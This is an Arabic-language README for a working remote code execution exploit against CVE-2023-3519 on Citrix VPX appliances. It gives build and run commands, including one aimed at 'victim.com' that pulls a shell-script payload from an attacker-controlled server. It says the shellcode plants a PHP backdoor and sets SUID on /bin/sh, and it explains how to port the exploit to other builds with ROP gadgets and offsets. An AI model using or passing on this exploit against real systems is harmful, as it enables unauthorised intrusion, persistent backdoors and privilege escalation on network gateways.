
استغلال ثغرة تنفيذ الأوامر عن بعد لـ CVE-2023-3519
يستخدم هذا الاستغلال عناوين وشِل كود لـ Citrix VPX 13.1-48.47. للاطلاع على الشرح الكامل، انقر هنا.
مطلوب NASM لبناء الشِل كود.
$ sudo apt install nasm
سوف يقوم الشِل كود المضمّن بتنزيل وتشغيل سكربت شيل من خادم http(s) بعيد. يأخذ السكربت 3 وسائط: المضيف الهدف، المنفذ الهدف، وعنوان URL لحمولة سكربت شيل. يتضمن هذا المستودع مثالاً لحمولة تقوم بتشغيل id و uname -a ثم تنظف بعد نفسها.
$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a
يجب أن يكون عنوان URL قصيراً بما يكفي ليتسع في مخزن الشِل كود، وسوف تتلقى تحذيراً إذا كان طويلاً جداً.
سينشئ الشِل كود بابًا خلفيًا PHP في /var/netscaler/logon/a.php وسيضبط بت SUID على /bin/sh. يوضح حمولة sh المضمنة مثالاً على التنظيف التلقائي لهذه البقايا. لاحظ أيضًا أن الشِل كود لا يغلق واصفات الملفات الخاصة به، لذا قد يؤدي الاستغلال المتكرر المفرط إلى استنزاف الموارد.
بالنسبة لأهداف Citrix المستندة إلى FreeBSD، تحتاج فقط إلى إيجاد 3 قيم: إزاحة مؤشر العودة المحفوظ، أداة ROP jmp rsp (أو ما يعادلها مثل push rsp; ret;)، والعنوان الذي يجب القفز إليه لتجنب التعطل. هذه المعاملات كلها مشفرة بالقرب من أعلى cve-2023-3519.py. بالنسبة لبعض الإصدارات قد تحتاج أيضًا إلى إيجاد قيمة رابعة لتصحيح قيمة RBP، لأن المترجم يُنشئ تحميلات نسبية إلى RBP بدلاً من استخدام تعليمات POP لاستعادة السجلات المحفوظة.